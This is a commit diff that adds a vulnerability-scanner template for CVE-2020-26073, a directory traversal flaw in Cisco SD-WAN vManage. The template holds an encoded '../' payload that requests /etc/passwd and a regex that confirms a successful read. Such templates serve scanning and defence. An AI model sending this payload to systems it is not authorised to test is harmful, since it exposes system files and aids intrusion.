Fixed typo in CVE-2020-26073 & made it's file name consistent with the rest of the vulnerabilities

cves/2020/CVE-2020-26073.yaml

@@ -0,0 +1,21 @@
+id: CVE-2020–26073
+info:
+  name: Cisco SD-WAN vManage Software Directory Traversal
+  author: madrobot
+  severity: high
+  reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020–26073
+  tags: Directory Traversal
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body